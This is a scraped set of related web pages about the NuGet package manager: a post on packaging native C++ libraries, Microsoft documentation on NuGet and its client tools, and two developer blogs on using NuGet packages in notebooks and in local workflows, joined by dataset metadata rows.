Public and Private Repositories: NuGet allows the creation of public repositories, like the NuGet Gallery, where thousands of packages are available to the community. Additionally, companies and developers can set up private repositories to distribute packages internally.
Multi-Platform Support: Although focused on the .NET ecosystem, NuGet supports multi-platform packages, allowing development for .NET Core, .NET Framework, Xamarin, among others.
How It Works
When starting a new project or adding new features, developers can use NuGet to search for packages that meet their needs. This can be done through the Visual Studio graphical interface or via the command line using the nuget command or the .NET CLI. Once installed, NuGet manages the packages and their versions, keeping the project up-to-date and functioning correctly.
Benefits of Using NuGet
Efficiency: Automates the installation and updating of libraries, saving time and reducing errors.
Collaboration: Facilitates code sharing between different projects and teams.
Simplified Maintenance: With NuGet, the maintenance of libraries and tools is centralized, simplifying the update and bug-fix processes.
NuGet for Native Libraries in C++
Besides being widely used for package management in the .NET platform, NuGet also offers robust support for native C++ libraries. This extends its reach and utility, allowing C++ developers to enjoy the same dependency management and package distribution conveniences that .NET developers have.
Support for Native Libraries
NuGet supports packages containing native C++ libraries, facilitating the integration of C++ code into projects that use other languages supported by NuGet, like C#. Native packages can include .h (header files), .lib (libraries), and .dll (dynamic link libraries), as well as other necessary assets.
Key Features for C++
Dependency Management: Just like in .NET applications, NuGet automatically manages dependencies for C++ packages, ensuring that all required libraries are downloaded and configured correctly.
Simplified Project Configuration: Developers can easily add native NuGet packages to their C++ projects in Visual Studio, simplifying the process of configuring include paths and libraries, as well as setting build properties.
Integration with CMake: For projects using CMake, NuGet facilitates the inclusion of packages and the configuration of the build environment, integrating NuGet packages directly into CMake scripts.
Multi-Platform Packages: NuGet allows the creation and distribution of packages that work across multiple platforms, such as Windows, Linux, and macOS. This is particularly useful for developers who need to support various platforms with their C++ libraries.
How It Works for C++
To use NuGet with C++ libraries, developers can create packages containing header files and compiled libraries. These packages are then published to a NuGet repository, from where they can be installed in other projects.
The installation and update process is simple:
Search and Installation: Using the NuGet Package Manager in Visual Studio, developers can search for and install native C++ library packages.
Automatic Configuration: NuGet automatically configures the project, adjusting include and library paths as necessary.
Updates: Keeping packages updated is easy, with NuGet managing versions and dependencies to ensure the project always uses the latest and most stable libraries.
Benefits of Using NuGet for C++
Development Efficiency: Automates the inclusion of libraries and their dependencies, saving time and effort for developers.
Ease of Maintenance: Simplifies the process of updating libraries, ensuring projects use the latest versions and fixes.
Simplified Distribution: Facilitates sharing C++ libraries between different projects and teams, promoting code reuse.
Packaging a Native Project (DLL or Lib) in NuGet
Packaging a native project (DLL or Lib) in NuGet is a process that simplifies the distribution and management of native C++ libraries. Here is a step-by-step guide to creating a NuGet package for a native project:
Project Preparation
Structure Your Project: Ensure your project is well-organized. Separate the header files (.h), libraries (.lib), and DLLs (.dll) into appropriate directories.
Compile Your Library: Compile your DLL or Lib using Visual Studio, ensuring all necessary files are available.
Creating the .nuspec File
Create a .nuspec File: This file defines the metadata of your NuGet package, such as the package ID, version, description, and dependencies.
Example .nuspec file:
<?xml version="1.0"?>
<package >
<metadata>
<id>YourPackageName</id>
<version>1.0.0</version>
<authors>YourName</authors>
<owners>YourName</owners>
<description>Your package description</description>
<dependencies>
<!-- Add your package dependencies here -->
</dependencies>
</metadata>
<files>
<file src="path\to\your\files\*.h" target="build\native\include" />
<file src="path\to\your\files\*.lib" target="build\native\lib" />
<file src="path\to\your\files\*.dll" target="build\native\bin" />
</files>
</package>
Creating the .targets File
Create a .targets File: This file specifies additional configurations that should be applied to the project consuming the package.
Example .targets file:
<?xml version="1.0" encoding="utf-8"?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<IncludePath Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'">
$(MSBuildThisFileDirectory)..\include;
</IncludePath>
<LibraryPath Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'">
$(MSBuildThisFileDirectory)..\lib;
</LibraryPath>
</ItemGroup>
<PropertyGroup>
<AdditionalDependencies Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'">
%(AdditionalDependencies);YourLibraryName.lib;
</AdditionalDependencies>
</PropertyGroup>
</Project>
Building the NuGet Package
Use the NuGet CLI: Open the terminal or command prompt and navigate to the directory where the .nuspec file is located.
Command to Create the Package:
nuget pack YourPackageName.nuspec
This will generate a .nupkg file containing your NuGet package.
Publishing the Package
Publish to NuGet.org: If you want to share your package publicly, you can publish it to NuGet.org.
Command to publish:
nuget push YourPackageName.nupkg -Source https://api.nuget.org/v3/index.json -ApiKey YOUR_API_KEY
2. Private Repositories: If you prefer to keep the package internal, you can configure it in a private NuGet repository (local folder, network), artifact manager like Artifactory or Nexus, or a package server like Azure DevOps Artifacts or GitHub Packages.
Conclusion
Packaging a native project in NuGet not only facilitates dependency management but also promotes code reuse and simplifies the distribution of libraries. By following these steps, you can efficiently create and publish NuGet packages for native libraries, improving the organization and maintenance of your projects.
I have created a C++ project example demonstrating a static library (static lib) using a dynamic library (dynamic lib) as a dependency, installed via NuGet. Additionally, I included a script to package our Lib project in NuGet to simplify the process. You can check the code and details in the repository: MyNuGetNativeLib.
#CPlusPlus #CPlusPlusDevelopment #VisualStudio2022 #NuGet #DependencyManagement #NativeLibraries #CppMigration #SoftwareDevelopment #CodeOptimization #TechUpgrade #MicrosoftVisualStudio #NativeCPlusPlus #ProgrammingTools #DevTools #CodePackaging #DevCommunity #CppLibraries #SoftwareEngineering #TechMigration #ProjectManagement #DevTips
|
||||
8582
|
dbpedia
|
0
| 1
|
https://learn.microsoft.com/en-us/nuget/what-is-nuget
|
en
|
What is NuGet and what does it do?
|
[
"https://learn.microsoft.com/en-us/nuget/media/nuget-roles.png",
"https://learn.microsoft.com/en-us/nuget/media/dependency-graph.png",
"https://learn.microsoft.com/en-us/nuget/media/nuget-restore.png"
] |
[
"https://learn.microsoft.com/shows/NuGet-101/What-is-NuGet-1-of-5/player"
] |
[] |
[
""
] | null |
[] |
2022-10-11T22:32:00+00:00
|
A comprehensive introduction to what NuGet is and does
|
en
|
https://learn.microsoft.com/en-us/nuget/what-is-nuget
|
An introduction to NuGet
An essential tool for any modern development platform is a mechanism through which developers can create, share, and consume useful code. Often such code is bundled into "packages" that contain compiled code (as DLLs) along with other content needed in the projects that consume these packages.
For .NET (including .NET Core), the Microsoft-supported mechanism for sharing code is NuGet, which defines how packages for .NET are created, hosted, and consumed, and provides the tools for each of those roles.
Put simply, a NuGet package is a single ZIP file with the .nupkg extension that contains compiled code (DLLs), other files related to that code, and a descriptive manifest that includes information like the package's version number. Developers with code to share create packages and publish them to a public or private host. Package consumers obtain those packages from suitable hosts, add them to their projects, and then call a package's functionality in their project code. NuGet itself then handles all of the intermediate details.
Because NuGet supports private hosts alongside the public nuget.org host, you can use NuGet packages to share code that's exclusive to an organization or a work group. You can also use NuGet packages as a convenient way to factor your own code for use in nothing but your own projects. In short, a NuGet package is a shareable unit of code, but does not require nor imply any particular means of sharing.
The flow of packages between creators, hosts, and consumers
In its role as a public host, NuGet itself maintains the central repository of over 100,000 unique packages at nuget.org. These packages are employed by millions of .NET/.NET Core developers every day. NuGet also enables you to host packages privately in the cloud (such as on Azure DevOps), on a private network, or even on just your local file system. By doing so, those packages are available to only those developers that have access to the host, giving you the ability to make packages available to a specific group of consumers. The options are explained on Hosting your own NuGet feeds. Through configuration options, you can also control exactly which hosts can be accessed by any given computer, thereby ensuring that packages are obtained from specific sources rather than a public repository like nuget.org.
Whatever its nature, a host serves as the point of connection between package creators and package consumers. Creators build useful NuGet packages and publish them to a host. Consumers then search for useful and compatible packages on accessible hosts, downloading and including those packages in their projects. Once installed in a project, the packages' APIs are available to the rest of the project code.
Package targeting compatibility
A "compatible" package means that it contains assemblies built for at least one target .NET framework that's compatible with the consuming project's target framework. Developers can create packages that are specific to one framework, as with UWP controls, or they can support a wider range of targets. To maximize a package's compatibility, developers target .NET Standard, which all .NET and .NET Core projects can consume. This is the most efficient means for both creators and consumers, as a single package (usually containing a single assembly) works for all consuming projects.
Package developers who require APIs outside of .NET Standard, on the other hand, create separate assemblies for the different target frameworks they want to support and include all of those assemblies in the same package (which is called "multi-targeting"). When a consumer installs such a package, NuGet extracts only those assemblies that are needed by the project. This minimizes the package's footprint in the final application and/or assemblies produced by that project. A multi-targeting package is, of course, more difficult for its creator to maintain.
In addition to hosting support, NuGet also provides a variety of tools used by both creators and consumers. See Installing NuGet client tools for how to obtain specific tools.
Tool Platforms Applicable Scenarios Description dotnet CLI All Creation, Consumption CLI tool for .NET Core and .NET Standard libraries, and for SDK-style projects that target .NET Framework (see SDK attribute). Provides certain NuGet CLI capabilities directly within the .NET Core tool chain. As with the nuget.exe CLI, the dotnet CLI does not interact with Visual Studio projects. nuget.exe CLI All Creation, Consumption CLI tool for .NET Framework libraries and non-SDK-style projects that target .NET Standard libraries. Provides all NuGet capabilities, with some commands applying specifically to package creators, some applying only to consumers, and others applying to both. For example, package creators use the nuget pack command to create a package from various assemblies and related files, package consumers use nuget install to include packages in a project folder, and everyone uses nuget config to set NuGet configuration variables. As a platform-agnostic tool, the NuGet CLI does not interact with Visual Studio projects. Package Manager Console Visual Studio on Windows Consumption Provides PowerShell commands for installing and managing packages in Visual Studio projects. Package Manager UI Visual Studio on Windows Consumption Provides an easy-to-use UI for installing and managing packages in Visual Studio projects. Manage NuGet UI Visual Studio for Mac Consumption Provide an easy-to-use UI for installing and managing packages in Visual Studio for Mac projects. MSBuild Windows Creation, Consumption Provides the ability to create packages and restore packages used in a project directly through the MSBuild tool chain.
As you can see, the NuGet tools you work with depend greatly on whether you're creating, consuming, or publishing packages, and the platform on which you're working. Package creators are typically also consumers, as they build on top of functionality that exists in other NuGet packages. And those packages, of course, may in turn depend on still others.
For more information, start with the Package creation workflow and Package consumption workflow articles.
Managing dependencies
The ability to easily build on the work of others is one of most powerful features of a package management system. Accordingly, much of what NuGet does is managing that dependency tree or "graph" on behalf of a project. Simply said, you need only concern yourself with those packages that you're directly using in a project. If any of those packages themselves consume other packages (which can, in turn, consume still others), NuGet takes care of all those down-level dependencies.
The following image shows a project that depends on five packages, which in turn depend on a number of others.
Notice that some packages appear multiple times in the dependency graph. For example, there are three different consumers of package B, and each consumer might also specify a different version for that package (not shown). This is a common occurrence, especially for widely-used packages. NuGet fortunately does all the hard work to determine exactly which version of package B satisfies all consumers. NuGet then does the same for all other packages, no matter how deep the dependency graph.
For more details on how NuGet performs this service, see Dependency resolution.
Tracking references and restoring packages
Because projects can easily move between developer computers, source control repositories, build servers, and so forth, it's highly impractical to keep the binary assemblies of NuGet packages directly bound to a project. Doing so would make each copy of the project unnecessarily bloated (and thereby waste space in source control repositories). It would also make it very difficult to update package binaries to newer versions as updates would have to be applied across all copies of the project.
NuGet instead maintains a simple reference list of the packages upon which a project depends, including both top-level and down-level dependencies. That is, whenever you install a package from some host into a project, NuGet records the package identifier and version number in the reference list. (Uninstalling a package, of course, removes it from the list.) NuGet then provides a means to restore all referenced packages upon request, as described on Package restore.
With only the reference list, NuGet can then reinstallâthat is, restoreâall of those packages from public and/or private hosts at any later time. When committing a project to source control, or sharing it in some other way, you include only the reference list and exclude any package binaries (see Packages and source control.)
The computer that receives a project, such as a build server obtaining a copy of the project as part of an automated deployment system, simply asks NuGet to restore dependencies whenever they're needed. Build systems like Azure DevOps provide "NuGet restore" steps for this exact purpose. Similarly, when developers obtain a copy of a project (as when cloning a repository), they can invoke command like nuget restore (NuGet CLI), dotnet restore (dotnet CLI), or Install-Package (Package Manager Console) to obtain all the necessary packages. Visual Studio, for its part, automatically restores packages when building a project (provided that automatic restore is enabled, as described on Package restore).
Clearly, then, NuGet's primary role where developers are concerned is maintaining that reference list on behalf of your project and providing the means to efficiently restore (and update) those referenced packages. This list is maintained in one of two package management formats, as they're called:
PackageReference (or "package references in project files") | (NuGet 4.0+) Maintains a list of a project's top-level dependencies directly within the project file, so no separate file is needed. An associated file, obj/project.assets.json, is dynamically generated to manage the overall dependency graph of the packages that a project uses along with all down-level dependencies. PackageReference is always used by .NET Core projects.
packages.config: (NuGet 1.0+) An XML file that maintains a flat list of all dependencies in the project, including the dependencies of other installed packages. Installed or restored packages are stored in a packages folder.
Which package management format is employed in any given project depends on the project type, and the available version of NuGet (and/or Visual Studio). To check what format is being used, simply look for packages.config in the project root after installing your first package. If you don't have that file, look in the project file directly for a <PackageReference> element.
When you have a choice, we recommend using PackageReference. packages.config is maintained for legacy purposes and is no longer under active development.
What else does NuGet do?
So far you've learned the following characteristics of NuGet:
NuGet provides the central nuget.org repository with support for private hosting.
NuGet provides the tools developers need for creating, publishing, and consuming packages.
Most importantly, NuGet maintains a reference list of packages used in a project and the ability to restore and update those packages from that list.
To make these processes work efficiently, NuGet does some behind-the-scenes optimizations. Most notably, NuGet manages a package cache and a global packages folder to shortcut installation and reinstallation. The cache avoids downloading a package that's already been installed on the machine. The global packages folder allows multiple projects to share the same installed package, thereby reducing NuGet's overall footprint on the computer. The cache and global packages folder are also very helpful when you're frequently restoring a larger number of packages, as on a build server. For more details on these mechanisms, see Managing the global packages and cache folders.
Within an individual project, NuGet manages the overall dependency graph, which again includes resolving multiple references to different versions of the same package. It's quite common that a project takes a dependency on one or more packages that themselves have the same dependencies. Some of the most useful utility packages on nuget.org are employed by many other packages. In the entire dependency graph, then, you could easily have ten different references to different versions of the same package. To avoid bringing multiple versions of that package into the application itself, NuGet sorts out which single version can be used by all consumers. (For more information, see Dependency Resolution.)
Beyond that, NuGet maintains all the specifications related to how packages are structured (including localization and debug symbols) and how they are referenced (including version ranges and pre-release versions.) NuGet also provides various APIs to work with its services programmatically, and provides support for developers who write Visual Studio extensions and project templates.
Take a moment to browse the table of contents for this documentation, and you see all of these capabilities represented there, along with release notes dating back to NuGet's beginnings.
Related video
Find more NuGet videos on Channel 9 and YouTube.
Finally, we very much welcome comments and contributions to this documentationâjust select the Feedback and Edit commands on the top of any page, or visit the docs repository and docs issue list on GitHub.
We also welcome contributions to NuGet itself through its various GitHub repositories; NuGet issues can be found on https://github.com/NuGet/home/issues.
Enjoy your NuGet experience!
|
||||||
8582
|
dbpedia
|
0
| 92
|
https://tomaskohl.com/code/2020-02-11/dotnet-interactive-using-nuget-packages/
|
en
|
Using Nuget packages with .NET Interactive
|
[
"https://tomaskohl.com/code/2020-02-11/hello-c-drive.png",
"https://tomaskohl.com/code/2020-02-11/using-taglib-sharp-in-dotnet-interactive.png"
] |
[] |
[] |
[
""
] | null |
[] |
2020-02-11T00:00:00
|
I test how I can use Nuget packages when fooling around with Jupyter notebooks using C#.
|
en
|
/tango/content/images/apple-touch-icon.png
|
Tomáš Kohl
|
https://tomaskohl.com/code/2020-02-11/dotnet-interactive-using-nuget-packages/
|
Last time I installed Jupyter with .NET and tried to run a few commands to get a feel for what it's like.
Before starting today's session and exploring how I could use Nuget packages, I wondered about the limits of Jupyter / .Net Interactive. Specifically, what kind of code I can execute.
Does it run within a sandbox?
At first glance, it does not appear to do so.
This is fine on my PC where I am the only one responsible for what code gets executed, not so much if I wanted to host a Jupyter notebook online.
Nuget packages in a notebook
The docs for .NET Interactive are sparse as of today. I'm exploring it using a few samples that are well hidden inside the repo, specifically a sample for Importing packages, libraries, and scripts.
Let's say we want to play around with taglib-sharp. First, we reference it:
#r "nuget: TagLibSharp, 2.2.0"
In the next cell, we can import its namespace, instantiate its classes and invoke their methods.
First, let's expand the original Song class to work with more metadata attributes and make TagLib a dependency.
public class Song { public Song(TagLib.Tag tag) { _tag = tag; } private readonly TagLib.Tag _tag; public string Title => _tag.Title; public string Artist => string.Join(", ", _tag.Performers); public string Genre => string.Join(", ", _tag.Genres); }
The rest is straightforward:
var tag = TagLib.File.Create(@"C:\Users\Tomas\Music\Library\Juan D'Arienzo\Todo de Juan 5\Ansiedad 12562-1_RP.flac").Tag; var song = new Song(tag); display(song);
Lo and behold, the code can access my song and read its metadata:
Very cool.
In the next installment, I will look at my hosting options, what the security boundaries are, and what it means for deployment.
PS I reviewed Jupyter docs for public server installation, which is single-user and not really what I meant by "hosting".
The docs led me to JupyterHub, which seems appropriate for class-room use. From what I was able to understand, it's still not meant for a wider public use (aka, "come to my site and play with my notebooks, anonymously"). For even more users, there's Jupyter on Kubernetes - I know Docker and k8s well enough to not want to pay for the infrastructure if all I wanted to do was to expose a little playground.
Microsoft's own docs talk about Binder, which takes the pain (and cost) of Docker deployment out of your hands. As much as I wanted to do this on my own, that's what I would probably use.
Published on 11 Feb 2020
What do you think? Sound off in the comments!
|
||||
8582
|
dbpedia
|
0
| 51
|
https://www.nyckel.com/blog/nuget-packages/
|
en
|
Local Development and Validation of Nuget Packages
|
[
"https://www.nyckel.com/assets/images/logos/Nyckel-Dark-500.webp",
"https://www.nyckel.com/assets/images/icons/industries/marketplaces.webp",
"https://www.nyckel.com/assets/images/icons/industries/dam.webp",
"https://www.nyckel.com/assets/images/icons/industries/adtech.webp",
"https://www.nyckel.com/assets/images/icons/industries/brand.webp",
"https://www.nyckel.com/assets/images/icons/industries/retail.webp",
"https://www.nyckel.com/assets/images/icons/industries/iot.webp",
"https://www.nyckel.com/assets/images/client-logos/retailhub-icon.webp",
"https://www.nyckel.com/assets/images/client-logos/gardyn-icon.webp",
"https://www.nyckel.com/assets/images/client-logos/linkedclient.webp",
"https://www.nyckel.com/assets/images/client-logos/taimi-icon.webp",
"https://www.nyckel.com/assets/images/client-logos/gust-icon.webp",
"https://www.nyckel.com/favicon.webp",
"https://www.nyckel.com/favicon.webp",
"https://www.nyckel.com/assets/images/icons/nav/blog.webp",
"https://www.nyckel.com/assets/images/icons/de-wrenches.webp",
"https://www.nyckel.com/assets/images/icons/nav/invention.webp",
"https://www.nyckel.com/assets/images/icons/nav/de-gears-3.webp",
"https://www.nyckel.com/assets/images/icons/nav/support.webp",
"https://www.nyckel.com/assets/images/team/blog-george.webp",
"https://www.nyckel.com/assets/images/important/nyckel-cover.webp",
"https://www.nyckel.com/assets/images/important/soc2white.png"
] |
[] |
[] |
[
""
] | null |
[
"george"
] |
2021-10-19T00:00:00+00:00
|
Learnings from setting up a local development workflow for developing and validating nuget packages
|
en
|
/favicon.svg
|
Nyckel
|
https://www.nyckel.com/blog/nuget-packages/
|
Why is an ML company talking about nuget instead of PyTorch or transformers? Because we are C# nerds and because production ML is a whole lot more than training a model. You shouldn’t need to know anything about PyTorch, tensors, or GPUs to use ML. More on that in this short video.
At Nyckel, we use C# extensively for critical parts of our stack. We publish a set of internal .NET libraries that are then used by our tools and services. Since nuget is the preferred .NET package manager, we publish and consume these libraries as nuget packages hosted on a private nuget repo on AWS CodeArtifact.
Motivation
We insist on having a local development workflow for our stack. This is for two reason:
We want to detect problems with code changes as early as possible.
We want to keep our change –> verify –> fix cycle time as short as possible.
Naturally, we wanted a local development experience for verifying changes to our nuget libraries against their consumers. Setting this up took a surprising amount of research and effort. This post attempts to save you the same effort by showing you where we ended up.
Setup
For the rest of the post, let’s assume we have the following:
A Nyckel.Common C# library that doesn’t depend on any other library we author.
A Nyckel.Http C# library that depends on Nyckel.Common.
Both libraries live in the same github repository called dotnet-libraries. The repository has a .sln solution file that contains both projects.
A CI/CD setup that automatically publishes the libraries on each commit to main. The libraries are published to AWS CodeArtifact and versioned as 1.0.<ci-build-number>.
A Nyckel.Server C# service in a separate github repository called server. It depends on a recent 1.0.<ci-build-number> version of Nyckel.Http.
dotnet cli and SDK 5.0 installed on the local development machine. Instructions below have only been tested on Mac and Linux, but I don’t foresee any problems following along on Windows.
Local Development Requirements
We wanted the following the following local-development workflows to work in the above setup:
Make a local, uncommitted breaking change to Nyckel.Common that affects Nyckel.Http. Detect the breaking change when building the dotnet-libraries repo. Make the corresponding change to Nyckel.Http and verify that it fixes the build locally.
Make enhancements to Nyckel.Http. Test Nyckel.Server locally using the enhanced Nyckel.Http before we commit those changes. We want to do this even though we have comprehensive unit-tests for our libraries.
Achieve the above two with minimal cycle time and cognitive overhead. Existing local development workflows should require minimal modifications.
Solution
The solution requires setting up project dependencies for inter-library dependencies, and a local nuget repository for quick testing of library-consumer dependencies. Below I walk through those, build and package steps, and some gotchas like nuget package caching.
Project Dependencies
Nyckel.Http.csproj has the following lines it it:
You’ll notice that there’s nothing special here - it’s just the usual project reference from Nyckel.Http to Nyckel.Common (remember that they are in the same git repository, so the relative path reference works). We were initially worried that it would result in Nyckel.Common.dll being copied over instead of creating a nuget reference. But, as we shall see when we test it out, it actually does the right thing.
This also ensures that Nyckel.Common is always built before Nyckel.Http. This fulfills requirement #1 above - a breaking change to Nyckel.Common will be detected when building the dotnet-libraries repo. We can make the corresponding change to Nyckel.Http and re-build to verify that it works.
Local Nuget Source
For requirement #2, to minimize cycle time, we set up a local nuget repository. Run the following:
This sets up a local nuget repository at ~/nuget and names it local. We will soon be pushing to it when building locally.
Local Nuget Package Version and Nuget Caching
CI systems usually have a monotonically increasing build number that you can use to version your nuget packages and publish them as immutable artifacts. We currently use a version number of the form 1.0.<build-number>. For local builds, however, we don’t care about immutability and want to avoid the cognitive overhead of incrementing some version number when publishing and consuming. Instead, we always use the version 1.0.0-local.
This presents a challenge - nuget caches recently used packages so that they don’t have to be fetched from their (usually remote) repositories each time. Unfortunately, the cache is used even for locally published packages. Given this, and given our fixed 1.0.0-local version number, we could end up in a situation where Nyckel.Server is using an older cached version of Nyckel.Http. To get around this, we add a step to the library .csproj files that clears the local cache before creating a new nuget package. Let’s look at this next.
Csproj File Additions
In the dotnet-libraries repo, we have a Nuget.targets file that contains the following:
This does a few things:
IsPackable indicates that the project is a type (library) that can be packaged into a nuget package. See dotnet pack.
A NYCKEL_NUGET_VERSION environment variable is used as the nuget package version. It is set by the CI build script. If it’s not set, we assume that this is a local build and default to 1.0.0-local.
The DeleteLocalCache target runs before the Pack step (which creates a nuget package) and deletes the cache for this package.
In each of our library .csproj files (like Nyckel.Common.csproj and Nyckel.Proxy.csproj), we add the following snippet to include the above file:
Local Build
To build libraries locally, we run the following from the root of the dotnet-libraries project:
Nothing fancy - just the normal build command. It works because we have a .sln solution file in the repo root, and because the project dependencies (and build order) are encoded in .csproj files. We followed instructions here to use the dotnet sln command to create a solution file and add projects to it.
Local Package and Publish
To create nuget packages and publish to the local nuget repository, we run the following:
We can then modify Nyckel.Server.csproj to use version 1.0.0-local of Nyckel.Http, test locally, then commit changes to dotnet-libraries. We then change Nyckel.Server.csproj back to using a non-local version of Nyckel.Http. If we forget to do this for some reason, the error will be caught as a build failure in the CI system.
CI Package and Publish
On our CI system we set up AWS CodeArtifact as a nuget repo named nyckel/libraries. We run the following from the root of the dotnet-libraries project:
When we want Nyckel.Server to use the latest version of Nyckel.Http, we update the version in Nyckel.Server.csproj to 1.0.$CI_BUILD_NUMBER for the latest CI build of the dotnet-libraries repo.
Testing the Workflows
To make sure that it all works as expected, we ran the following steps:
Make a change in Nyckel.Common that breaks Nyckel.Http.
Run local build. Verify that the build breaks.
Fix the build in Nyckel.Http.
Re-run local build. Verify that the build passes.
Run local package and publish.
Use Nuget Package Explorer (Web App or Windows App) to open up dotnet-libraries/nupkgs/Nyckel.Http.1.0.0-local.nupkg. This .nupkg file would have been created in the previous local package step. Go to the Dependencies tab and make sure there is a dependency on Nyckel.Common. Expand the folders in the Contents tab and make sure Nyckel.Common.dll is not included.
Change Nyckel.Server.csproj locally to use version 1.0.0-local of Nyckel.Http. Run Nyckel.Server locally. This will ensure that the nuget cache is populated.
Make a change in Nyckel.Http that breaks Nyckel.Server.
Re-run local package and publish.
Re-run Nyckel.Server. Verify that the build breaks.
Conclusion
As you can see, getting everything to work is not trivial, even without all the research and trial-and-error it took to get here. Despite the level of effort, we are happy with our setup. If you have similar requirements, I hope you find this write-up helpful.
|
||||
8582
|
dbpedia
|
1
| 8
|
https://learn.microsoft.com/en-us/nuget/install-nuget-client-tools
|
en
|
Install NuGet client tools
|
[] |
[] |
[] |
[
""
] | null |
[] |
2024-05-21T18:26:00+00:00
|
Learn how to install and use the dotnet and NuGet client command-line interface (CLI) tools and the Package Manager tool for Visual Studio.
|
en
|
https://learn.microsoft.com/en-us/nuget/install-nuget-client-tools
|
Looking to install a package? See Ways to install NuGet packages.
To work with NuGet as a package consumer or creator, you can use command-line interface (CLI) tools and NuGet features in Visual Studio. This article briefly outlines the capabilities of the different tools, how to install them, and their comparative feature availability.
To get started using NuGet to consume packages, see the following articles:
Install and use a package (dotnet CLI)
Install and use a package (Visual Studio on Windows)
To get started creating NuGet packages, see these articles:
Create and publish a NET Standard package (dotnet CLI)
Create and publish a NET Standard package (Visual Studio on Windows)
Tool Description Download dotnet SDK The CLI tool for .NET Core and .NET Standard libraries, and for any SDK-style project such as one that targets the .NET Framework. This CLI tool is included with the .NET Core SDK and provides core NuGet features on all platforms. In Visual Studio 2017 and later, the dotnet CLI is automatically installed with any .NET Core related workloads. .NET Core SDK nuget.exe The CLI tool for .NET Framework libraries and for any non-SDK-style project such as one that targets .NET Standard libraries. This CLI tool provides all NuGet capabilities on Windows and most features on Mac and Linux when running under Mono. nuget.exe Visual Studio On Windows, the NuGet Package Manager is included with Visual Studio 2012 and later. Visual Studio provides the Package Manager UI and the Package Manager Console (PowerShell on Windows). You can use these tools to run most NuGet operations. Visual Studio Visual Studio for Mac On Mac, certain NuGet capabilities are built in directly. Package Manager Console isn't currently available. For other capabilities, use the dotnet SDK or nuget.exe CLI tools. Visual Studio for Mac Visual Studio Code On Windows, Mac, and Linux, NuGet capabilities are available through marketplace extensions, or use the dotnet SDK or nuget.exe CLI tools. Visual Studio Code
The MSBuild CLI also restores and creates packages. MSBuild isn't a general-purpose tool for working with NuGet. This CLI tool is primarily useful on build servers.
Package Manager Console commands work only within Visual Studio on Windows and don't work within other PowerShell environments.
Support policy
The Visual Studio for Windows support policy can be found at Visual Studio Product Lifecycle and Servicing.
The most recent version of NuGet.exe is fully supported and can be relied on for bug fixes, updates, and enhancements. For more information on NuGet.exe's support policy, see the Microsoft Modern Lifecycle Policy.
The .NET SDK support policy can be found at .NET and .NET Core Support Policy.
Patch Releases
Patched versions of NuGet.exe will be released exclusively when critical security fixes are required for a long-term support (LTS) version of Visual Studio or .NET SDK.
All security bugs should be reported to the Microsoft Security Response Center (MSRC) at MSRC's report page. Also, see the security policy in the NuGet.Client repo.
NuGet.exe unlisting
Out-of-support, deprecated, or vulnerable NuGet.exe versions will be removed from tools.json.
Visual Studio
In Visual Studio 2017 and later, the Visual Studio installer includes the NuGet Package Manager with any workload that employs .NET.
You can also install the Package Manager separately or verify your installation. Run the Visual Studio installer and check the option setting under Individual Components > Code tools > NuGet package manager. For more information, see Install and manage packages in Visual Studio by using the NuGet Package Manager.
You can use either the dotnet CLI or the nuget.exe CLI to support NuGet features in the Visual Studio IDE. The dotnet CLI is installed with some Visual Studio workloads, such as .NET Core. The nuget.exe CLI must be installed separately as described earlier. For a feature comparison of the tools, see the feature availability section.
To target .NET Core or .NET Standard, use the dotnet SDK CLI tool. This CLI is required for the SDK-style project format, which uses the SDK attribute.
To target the .NET Framework (non-SDK-style project only), use the nuget.exe CLI tool. If the project is migrated from packages.config to PackageReference, use the dotnet SDK CLI tool instead.
dotnet SDK
The dotnet SDK is the .NET Core 2.0 CLI tool, which works on all platforms (Windows, Mac, and Linux) and provides core NuGet features such as installing, restoring, and publishing packages. The dotnet CLI provides direct integration with .NET Core project files (such as .csproj), which is helpful in most scenarios. This CLI is also built directly for each platform and doesn't require installation of Mono.
Install the dotnet SDK
On developer computers, install the .NET Core SDK. In Visual Studio 2017 and later, the dotnet CLI is automatically installed with any .NET Core related workloads.
For build servers, follow the instructions to Use the .NET Core SDK and tools in continuous integration.
To learn how to use basic commands with the dotnet SDK CLI tool, see Install and manage NuGet packages with the dotnet CLI.
nuget.exe CLI
The NuGet CLI, nuget.exe, is the command-line utility for Windows that provides all NuGet capabilities. This CLI can also run on Mac OSX and Linux by using Mono with some limitations.
To learn how to use basic commands with the nuget.exe CLI tool, see Manage NuGet packages with the nuget.exe CLI.
Install nuget.exe
Feature availability
The following table compares the available features for the dotnet and nuget.exe CLI tools for supported platforms.
Feature dotnet CLI nuget CLI (Windows) nuget CLI (Mono) Visual Studio (Windows) Visual Studio for Mac Search packages â â â â â Install/uninstall packages â â (1) â â â Update packages â â â â Restore packages â â â (2) â â Manage package feeds (sources) â â â â â Manage packages on a feed â â â Set API keys for feeds â â Create packages (3) â â â (4) â Publish packages â â â â Replicate packages â â Manage global-package and cache folders â â â Manage NuGet configuration â â â
Feature notes
(1) Doesn't affect project files. Use the dotnet SDK CLI tool instead.
(2) Works only with packages.config file and not with solution (.sln) files.
(3) Various advanced package features are available through the CLI only as they aren't represented in the Visual Studio UI tools.
(4) Works with .nuspec files but not with project files.
Upcoming features
If you want to preview upcoming NuGet features, install a Visual Studio Preview, which works side-by-side with stable releases of Visual Studio. To report problems or share ideas for previews, open an issue on the NuGet GitHub repository.
Install and manage packages by using Visual Studio
Install and manage packages by using the dotnet CLI
Install and manage packages by using the nuget.exe CLI
Install and manage packages by using PowerShell
Create a package by using the nuget.exe CLI
Publish NuGet packages
Package Manager Console PowerShell reference
|
||||||
8582
|
dbpedia
|
0
| 47
|
https://www.milanjovanovic.tech/blog/improving-code-quality-in-csharp-with-static-code-analysis
|
en
|
Improving Code Quality in C# With Static Code Analysis
|
[
"https://www.milanjovanovic.tech/_next/static/media/profile.c8db99b5.png?imwidth=48 1x, /_next/static/media/profile.c8db99b5.png?imwidth=96 2x",
"https://www.milanjovanovic.tech/blog-covers/mnw_101.png?imwidth=1920 1x, /blog-covers/mnw_101.png?imwidth=3840 2x",
"https://www.milanjovanovic.tech/blogs/mnw_101/static_code_analysis.png?imwidth=1920 1x, /blogs/mnw_101/static_code_analysis.png?imwidth=3840 2x",
"https://www.milanjovanovic.tech/_next/static/media/cover.27333f2f.png?imwidth=256 1x, /_next/static/media/cover.27333f2f.png?imwidth=384 2x",
